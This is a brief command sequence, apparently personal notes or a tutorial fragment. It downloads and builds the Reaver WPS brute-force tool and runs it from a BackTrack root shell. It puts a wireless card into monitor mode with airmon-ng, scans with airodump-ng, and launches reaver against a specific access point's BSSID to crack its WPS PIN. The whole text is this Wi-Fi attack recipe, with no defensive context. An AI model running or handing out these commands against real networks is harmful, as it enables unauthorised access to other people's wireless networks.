http://code.google.com/p/reaver-wps/downloads/list download reaver-wps
tar -xvf reaver-1.4.tar.gz
cd reaver-1.4/src/
./configure
make
make install
root@bt:~# ifconfig wlan0 down
root@bt:~# airmon-ng start wlan0
root@bt:~# airodump-ng mon0
root@bt:~# reaver -i mon0 -b 00:90:4C:C1:AC:21 -vv